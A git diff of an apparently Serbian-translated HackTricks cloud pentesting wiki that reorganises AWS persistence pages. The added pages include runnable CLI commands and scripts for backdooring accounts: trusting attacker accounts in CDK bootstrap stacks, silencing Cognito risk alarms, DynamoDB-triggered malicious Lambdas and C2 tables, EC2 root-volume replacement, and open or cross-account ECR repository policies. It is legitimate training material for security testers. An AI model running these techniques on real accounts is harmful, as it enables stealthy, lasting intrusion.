diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md deleted file mode 100644 index ef14b6b10..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - API Gateway Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -Za više informacija idite na: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Resource Policy - -Izmenite politiku resursa API gateway-a kako biste sebi omogućili pristup. - -### Modify Lambda Authorizers - -Izmenite kod lambda autorizatora kako biste sebi omogućili pristup svim krajnjim tačkama.\ -Ili jednostavno uklonite korišćenje autorizatora. - -### IAM Permissions - -Ako resurs koristi IAM autorizator, možete sebi omogućiti pristup izmenom IAM dozvola.\ -Ili jednostavno uklonite korišćenje autorizatora. - -### API Keys - -Ako se koriste API ključevi, možete ih procuriti kako biste održali postojanost ili čak kreirati nove.\ -Ili jednostavno uklonite korišćenje API ključeva. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md new file mode 100644 index 000000000..f1f375d3f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md @@ -0,0 +1,32 @@ +# AWS - API Gateway Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Resource Policy + +Izmenite resource policy API gateway(s) da biste sebi omogućili pristup. + +### Modify Lambda Authorizers + +Izmenite kod lambda authorizers da biste sebi omogućili pristup svim endpoint-ima.\ +Ili jednostavno uklonite korišćenje authorizera. + +### IAM Permissions + +Ako resurs koristi IAM authorizer, možete sebi omogućiti pristup izmenom IAM permissions.\ +Ili jednostavno uklonite korišćenje authorizera. + +### API Keys + +Ako se koriste API keys, možete ih leak-ovati da biste održali persistence ili čak kreirali nove.\ +Ili jednostavno uklonite korišćenje API keys. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md deleted file mode 100644 index fd59c2547..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - Cloudformation Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFormation - -Za više informacija, pristupite: - -{{#ref}} -../aws-services/aws-cloudformation-and-codestar-enum.md -{{#endref}} - -### CDK Bootstrap Stack - -AWS CDK implementira CFN stack nazvan `CDKToolkit`. Ovaj stack podržava parametar `TrustedAccounts` koji omogućava spoljnim nalozima da implementiraju CDK projekte u nalog žrtve. Napadač može da iskoristi ovo da sebi obezbedi neograničen pristup nalogu žrtve, bilo korišćenjem AWS cli za ponovnu implementaciju stack-a sa parametrima, ili AWS CDK cli. -```bash -# CDK -cdk bootstrap --trust 1234567890 - -# AWS CLI -aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md new file mode 100644 index 000000000..72de29040 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFormation + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +AWS CDK raspoređuje CFN stack pod nazivom `CDKToolkit`. Ovaj stack podržava parametar `TrustedAccounts` koji omogućava spoljnim nalozima da raspoređuju CDK projekte u nalog žrtve. Napadač može zloupotrebiti ovo kako bi sebi obezbedio trajan pristup nalogu žrtve, bilo korišćenjem AWS cli za ponovno raspoređivanje stack-a sa parametrima, bilo korišćenjem AWS CDK cli. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md deleted file mode 100644 index 7634e1dca..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - Cognito Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -Za više informacija, pristupite: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Održavanje korisnika - -Cognito je servis koji omogućava dodeljivanje uloga neautentifikovanim i autentifikovanim korisnicima i kontrolu direktorijuma korisnika. Nekoliko različitih konfiguracija može biti izmenjeno kako bi se održala neka postojanost, kao što su: - -- **Dodavanje User Pool-a** koji kontroliše korisnik u Identity Pool -- Dodeljivanje **IAM uloge neautentifikovanom Identity Pool-u i omogućavanje Basic auth toka** -- Ili **autentifikovanom Identity Pool-u** ako napadač može da se prijavi -- Ili **poboljšanje dozvola** datih uloga -- **Kreiranje, verifikacija & privesc** putem atributima kontrolisanih korisnika ili novih korisnika u **User Pool-u** -- **Omogućavanje eksternim Identity Provider-ima** da se prijave u User Pool ili u Identity Pool - -Proverite kako da izvršite ove radnje u - -{{#ref}} -../aws-privilege-escalation/aws-cognito-privesc.md -{{#endref}} - -### `cognito-idp:SetRiskConfiguration` - -Napadač sa ovom privilegijom mogao bi da izmeni konfiguraciju rizika kako bi mogao da se prijavi kao Cognito korisnik **bez aktiviranja alarma**. [**Proverite cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) da biste proverili sve opcije: -```bash -aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} -``` -Podrazumevano je ovo onemogućeno: - -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md new file mode 100644 index 000000000..8e63bcc3d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md @@ -0,0 +1,40 @@ +# AWS - Cognito Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +For more information, access: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Perzistencija korisnika + +Cognito je servis koji omogućava dodeljivanje uloga neautentifikovanim i autentifikovanim korisnicima i upravljanje direktorijumom korisnika. Više različitih konfiguracija može se promeniti da bi se održala perzistencija, na primer: + +- **Dodavanje a User Pool** koji je pod kontrolom korisnika u Identity Pool +- Dodeliti **IAM role** neautentifikovanom Identity Pool-u i omogućiti Basic auth flow +- Ili u **authenticated Identity Pool** ako napadač može da se prijavi +- Ili **povećati dozvole** dodeljenim ulogama +- **Create, verify & privesc** preko atributa kontrolisanih korisnika ili novih korisnika u **User Pool** +- **Allowing external Identity Providers** da se prijave u User Pool ili u Identity Pool + +Check how to do these actions in + +{{#ref}} +../../aws-privilege-escalation/aws-cognito-privesc/README.md +{{#endref}} + +### `cognito-idp:SetRiskConfiguration` + +Napadač sa ovom privilegijom može izmeniti konfiguraciju rizika kako bi se mogao prijaviti kao Cognito korisnik **bez aktiviranja alarma**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) da biste proverili sve opcije: +```bash +aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} +``` +Podrazumevano je ovo onemogućeno: + +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md index 6a2fe61fd..a2222db5d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md @@ -1,18 +1,18 @@ # AWS - DynamoDB Persistencija -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### DynamoDB Za više informacija pristupite: {{#ref}} -../aws-services/aws-dynamodb-enum.md +../../aws-services/aws-dynamodb-enum.md {{#endref}} -### DynamoDB Okidači sa Lambda Backdoor-om +### DynamoDB okidači sa Lambda backdoor -Korišćenjem DynamoDB okidača, napadač može kreirati **neprimetan backdoor** povezivanjem maliciozne Lambda funkcije sa tabelom. Lambda funkcija može biti okinuta kada se stavka doda, izmeni ili obriše, omogućavajući napadaču da izvrši proizvoljan kod unutar AWS naloga. +Koristeći DynamoDB okidače, napadač može kreirati **neprimetan backdoor** povezivanjem zlonamerne Lambda funkcije sa tabelom. Lambda funkcija može biti okinuta kada se stavka doda, izmeni ili obriše, omogućavajući napadaču da izvrši proizvoljan kod unutar AWS naloga. ```bash # Create a malicious Lambda function aws lambda create-function \ @@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \ --event-source \ --region ``` -Da bi održao persistenciju, napadač može da kreira ili modifikuje stavke u DynamoDB tabeli, što će pokrenuti zlonamernu Lambda funkciju. Ovo omogućava napadaču da izvrši kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom. +Da bi održao pristup, napadač može da kreira ili izmeni stavke u DynamoDB tabeli, što će pokrenuti malicioznu Lambda funkciju. Ovo omogućava napadaču da izvršava kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom. -### DynamoDB kao C2 kanal +### DynamoDB as a C2 Channel -Napadač može koristiti DynamoDB tabelu kao **command and control (C2) channel** kreiranjem stavki koje sadrže komande i korišćenjem kompromitovanih instanci ili Lambda funkcija za preuzimanje i izvršavanje ovih komandi. +Napadač može koristiti DynamoDB tabelu kao **command and control (C2) channel** tako što će kreirati stavke koje sadrže komande i koristiti kompromitovane instance ili Lambda functions da preuzmu i izvrše te komande. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ @@ -54,6 +54,6 @@ aws dynamodb put-item \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` -Kompromitovane instance ili Lambda funkcije mogu periodično proveravati C2 tabelu za nove komande, izvršavati ih i po potrebi izveštavati o rezultatima nazad u tabelu. Ovo omogućava napadaču da održi postojanost i kontrolu nad kompromitovanim resursima. +Kompromitovane instances ili Lambda functions mogu periodično proveravati C2 table za nove komande, izvršavati ih i opciono prijavljivati rezultate nazad u tabelu. Ovo omogućava napadaču da održi perzistenciju i kontrolu nad kompromitovanim resursima. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md deleted file mode 100644 index 2e66c055d..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ /dev/null @@ -1,54 +0,0 @@ -# AWS - EC2 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Za više informacija proverite: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### Praćenje veze sigurnosne grupe - -Ako odbrambeni sistem otkrije da je **EC2 instanca kompromitovana**, verovatno će pokušati da **izoluje** **mrežu** mašine. To može učiniti sa eksplicitnim **Deny NACL** (ali NACL-ovi utiču na celu podmrežu), ili **promenom sigurnosne grupe** koja ne dozvoljava **nikakav ulazni ili izlazni** saobraćaj. - -Ako je napadač imao **obrnuti shell koji potiče sa mašine**, čak i ako je SG izmenjen da ne dozvoljava ulazni ili izlazni saobraćaj, **veza neće biti prekinuta zbog** [**Praćenja veze sigurnosne grupe**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** - -### EC2 Menadžer životnog ciklusa - -Ova usluga omogućava da se **zakazivanje** **kreiranja AMI-a i snimaka** i čak **deljenje sa drugim nalozima**.\ -Napadač bi mogao da konfiguriše **generisanje AMI-a ili snimaka** svih slika ili svih volumena **svake nedelje** i **podeli ih sa svojim nalogom**. - -### Zakazane instance - -Moguće je zakazati instance da se pokreću dnevno, nedeljno ili čak mesečno. Napadač bi mogao da pokrene mašinu sa visokim privilegijama ili zanimljivim pristupom gde bi mogao da pristupi. - -### Spot Fleet Zahtev - -Spot instance su **jeftinije** od redovnih instanci. Napadač bi mogao da pokrene **mali spot fleet zahtev za 5 godina** (na primer), sa **automatskom IP** dodelom i **korisničkim podacima** koji šalju napadaču **kada spot instanca počne** i **IP adresu** i sa **IAM ulogom visokih privilegija**. - -### Backdoor instance - -Napadač bi mogao da dobije pristup instancama i da ih backdoor-uje: - -- Koristeći tradicionalni **rootkit** na primer -- Dodajući novu **javnu SSH ključ** (proverite [EC2 privesc opcije](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Backdoor-ovanje **Korisničkih podataka** - -### **Backdoor Konfiguracija pokretanja** - -- Backdoor-ovati korišćeni AMI -- Backdoor-ovati Korisničke podatke -- Backdoor-ovati Par ključeva - -### VPN - -Kreirati VPN tako da napadač može direktno da se poveže kroz njega sa VPC-om. - -### VPC Peering - -Kreirati peering vezu između VPC-a žrtve i VPC-a napadača kako bi mogao da pristupi VPC-u žrtve. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md new file mode 100644 index 000000000..4661d4d32 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md @@ -0,0 +1,62 @@ +# AWS - EC2 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +For more information check: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### Security Group Connection Tracking Persistence + +Ako defensor otkrije da je **EC2 instance was compromised** verovatno će pokušati da **isolate** **network** mašine. Može to uraditi eksplicitnim **Deny NACL**-om (ali NACLs utiču na ceo subnet), ili **changing the security group** tako da ne dozvoli **any kind of inbound or outbound** saobraćaj. + +Ako je napadač imao **reverse shell originated from the machine**, čak i ako je SG izmenjen da ne dozvoljava inbound ili outbound saobraćaj, veza se neće prekinuti zbog [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** + +### EC2 Lifecycle Manager + +Ovaj servis dozvoljava da se **schedule** **creation of AMIs and snapshots** i čak **share them with other accounts**.\ +Napadač može konfigurисati **generation of AMIs or snapshots** svih image-ova ili svih volumena **every week** i **share them with his account**. + +### Scheduled Instances + +Moguće je schedule-ovati instance da se pokreću dnevno, nedeljno ili čak mesečno. Napadač bi mogao pokretati mašinu sa visokim privilegijama ili interesantnim pristupom gde bi mogao da pristupi. + +### Spot Fleet Request + +Spot instances su **cheaper** od regularnih instanci. Napadač može pokrenuti **small spot fleet request for 5 year** (na primer), sa **automatic IP** dodelom i **user data** koji šalje napadaču **when the spot instance start** i **IP address**, kao i sa **high privileged IAM role**. + +### Backdoor Instances + +Napadač može dobiti pristup instancama i backdoor-ovati ih: + +- Using a traditional **rootkit** for example +- Adding a new **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md)) +- Backdooring the **User Data** + +### **Backdoor Launch Configuration** + +- Backdoor the used AMI +- Backdoor the User Data +- Backdoor the Key Pair + +### EC2 ReplaceRootVolume Task (Stealth Backdoor) + +Zameni root EBS volume pokrenute instance sa onim izgrađenim iz attacker-controlled AMI ili snapshot koristeći `CreateReplaceRootVolumeTask`. Instanca zadržava svoje ENIs, IPs i role, efektivno boota u maliciozni kod dok izgleda nepromenjeno. + +{{#ref}} +../aws-ec2-replace-root-volume-persistence/README.md +{{#endref}} + +### VPN + +Kreiraj VPN tako da napadač može direktno da se poveže kroz njega na VPC. + +### VPC Peering + +Kreiraj peering konekciju između victim VPC i attacker VPC tako da će moći pristupiti victim VPC. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md new file mode 100644 index 000000000..e680de6af --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence) + +{{#include ../../../../banners/hacktricks-training.md}} + +Iskoristite **ec2:CreateReplaceRootVolumeTask** da zamenite root EBS volumen pokrenute instance sa onim vraćenim iz AMI-ja ili snapshota koji kontroliše napadač. Instanca se automatski restartuje i nastavlja sa root fajl-sistemom pod kontrolom napadača, pri čemu su sačuvani ENIs, privatne/javne IP adrese, prikačeni non-root volumeni i instance metadata/IAM role. + +## Requirements +- Ciljna instanca mora biti EBS-backed i pokrenuta u istom regionu. +- Kompatibilan AMI ili snapshot: ista arhitektura/virtualizacija/boot mode (i product codes, ako postoje) kao ciljana instanca. + +## Pre-checks +```bash +REGION=us-east-1 +INSTANCE_ID= + +# Ensure EBS-backed +aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text + +# Capture current network and root volume +ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text) +ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) +PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text) +ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text) +``` +## Zameni root iz AMI (preporučeno) +```bash +IMAGE_ID= + +# Start task +TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text) + +# Poll until state == succeeded +while true; do +STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text) +echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10; +done +``` +Alternativa korišćenjem snapshot-a: +```bash +SNAPSHOT_ID= +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID +``` +## Dokazi / Verifikacija +```bash +# Instance auto-reboots; network identity is preserved +NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) + +# Compare before vs after +printf "ENI:%s IP:%s +ORIG_VOL:%s +NEW_VOL:%s +" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL" + +# (Optional) Inspect task details and console output +aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json +aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text +``` +Očekivano: ENI_ID i PRI_IP ostaju isti; ID root volumena menja se sa $ORIG_VOL na $NEW_VOL. Sistem se podiže sa datotečnim sistemom iz AMI/snapshot pod kontrolom napadača. + +## Napomene +- API ne zahteva da ručno zaustavljate instancu; EC2 orkestrira ponovno pokretanje. +- Podrazumevano, zamenjeni (stari) root EBS volume se odvaja i ostaje na nalogu (DeleteReplacedRootVolume=false). Ovo može da se iskoristi za vraćanje na prethodno stanje (rollback) ili mora biti izbrisan da biste izbegli troškove. + +## Povratak / Čišćenje +```bash +# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"), +# you can create a snapshot and replace again from it: +SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text) +aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP + +# Or simply delete the detached old root volume if not needed: +aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md deleted file mode 100644 index 63738d7e8..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - ECR Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Sakrivena Docker slika sa zloćudnim kodom - -Napadač bi mogao **da otpremi Docker sliku koja sadrži zloćudni kod** u ECR repozitorijum i koristi je za održavanje postojanosti u ciljanom AWS nalogu. Napadač bi zatim mogao da implementira zloćudnu sliku na razne usluge unutar naloga, kao što su Amazon ECS ili EKS, na diskretan način. - -### Politika repozitorijuma - -Dodajte politiku jednom repozitorijumu koja vam omogućava (ili svima) pristup repozitorijumu: -```bash -aws ecr set-repository-policy \ ---repository-name cluster-autoscaler \ ---policy-text file:///tmp/my-policy.json - -# With a .json such as - -{ -"Version" : "2008-10-17", -"Statement" : [ -{ -"Sid" : "allow public pull", -"Effect" : "Allow", -"Principal" : "*", -"Action" : [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -> [!WARNING] -> Imajte na umu da ECR zahteva da korisnici imaju **dozvolu** da pozivaju **`ecr:GetAuthorizationToken`** API putem IAM politike **pre nego što se mogu autentifikovati** na registru i slati ili preuzimati slike iz bilo kog Amazon ECR repozitorijuma. - -### Politika registra i replikacija između naloga - -Moguće je automatski replicirati registar u eksternom nalogu konfigurisanjem replikacije između naloga, gde treba da **naznačite eksterni nalog** u kojem želite da replicirate registar. - -
- -Prvo, treba da date eksternom nalogu pristup registru putem **politike registra** kao što je: -```bash -aws ecr put-registry-policy --policy-text file://my-policy.json - -# With a .json like: - -{ -"Sid": "asdasd", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::947247140022:root" -}, -"Action": [ -"ecr:CreateRepository", -"ecr:ReplicateImage" -], -"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" -} -``` -Zatim primenite konfiguraciju replikacije: -```bash -aws ecr put-replication-configuration \ ---replication-configuration file://replication-settings.json \ ---region us-west-2 - -# Having the .json a content such as: -{ -"rules": [{ -"destinations": [{ -"region": "destination_region", -"registryId": "destination_accountId" -}], -"repositoryFilters": [{ -"filter": "repository_prefix_name", -"filterType": "PREFIX_MATCH" -}] -}] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md new file mode 100644 index 000000000..e6f983d61 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md @@ -0,0 +1,145 @@ +# AWS - ECR Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Skrivena Docker slika sa zlonamernim kodom + +Napadač može **uploadovati Docker image koji sadrži zlonamerni kod** u ECR repository i koristiti ga za održavanje persistence u ciljanom AWS nalogu. Napadač potom može deploy-ovati zlonamerni image na različite servise unutar naloga, kao što su Amazon ECS ili EKS, na prikriven način. + +### Politika repozitorijuma + +Dodajte politiku na pojedinačni repozitorijum koja vama (ili svima) dodeljuje pristup repozitorijumu: +```bash +aws ecr set-repository-policy \ +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json + +# With a .json such as + +{ +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +> [!WARNING] +> Imajte na umu da ECR zahteva da korisnici imaju **dozvolu** da pozivaju **`ecr:GetAuthorizationToken`** API kroz IAM policy **pre nego što se mogu autentifikovati** na registry i push-ovati ili pull-ovati bilo koje slike iz bilo kog Amazon ECR repozitorijuma. + +### Politika registra i replikacija između naloga + +Moguće je automatski replicirati registar u eksternom nalogu podešavanjem cross-account replication, gde treba da **naznačite eksterni nalog** u koji želite da replicirate registar. + +
+ +Prvo, potrebno je dati eksternom nalogu pristup registru pomoću **registry policy** kao: +```bash +aws ecr put-registry-policy --policy-text file://my-policy.json + +# With a .json like: + +{ +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +} +``` +Zatim primenite konfiguraciju replikacije: +```bash +aws ecr put-replication-configuration \ +--replication-configuration file://replication-settings.json \ +--region us-west-2 + +# Having the .json a content such as: +{ +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] +} +``` +### Repository Creation Templates (prefiks backdoor za buduće repos) + +Iskoristite ECR Repository Creation Templates da automatski ubacite backdoor u bilo koji repository koji ECR automatski kreira pod kontrolisanim prefiksom (na primer preko Pull-Through Cache ili Create-on-Push). Ovo omogućava trajni neovlašćeni pristup budućim repos bez diranja postojećih. + +- Potrebne dozvole: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template). +- Uticaj: Bilo koji novi repository kreiran pod ciljnim prefiksom automatski nasleđuje repository policy pod kontrolom napadača (npr. cross-account read/write), podešavanja mutabilnosti tagova i podrazumevana podešavanja skeniranja. + +
+Backdoor buduće PTC-created repos pod odabranim prefiksom +```bash +# Region +REGION=us-east-1 + +# 1) Prepare permissive repository policy (example grants everyone RW) +cat > /tmp/repo_backdoor_policy.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BackdoorRW", +"Effect": "Allow", +"Principal": {"AWS": "*"}, +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer", +"ecr:InitiateLayerUpload", +"ecr:UploadLayerPart", +"ecr:CompleteLayerUpload", +"ecr:PutImage" +] +} +] +} +JSON + +# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE +aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json + +# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix +# This example caches from Amazon ECR Public namespace "nginx" +aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx + +# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx) +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com + +docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest + +# 5) Validate the backdoor policy was applied on the newly created repository +aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq . +``` +
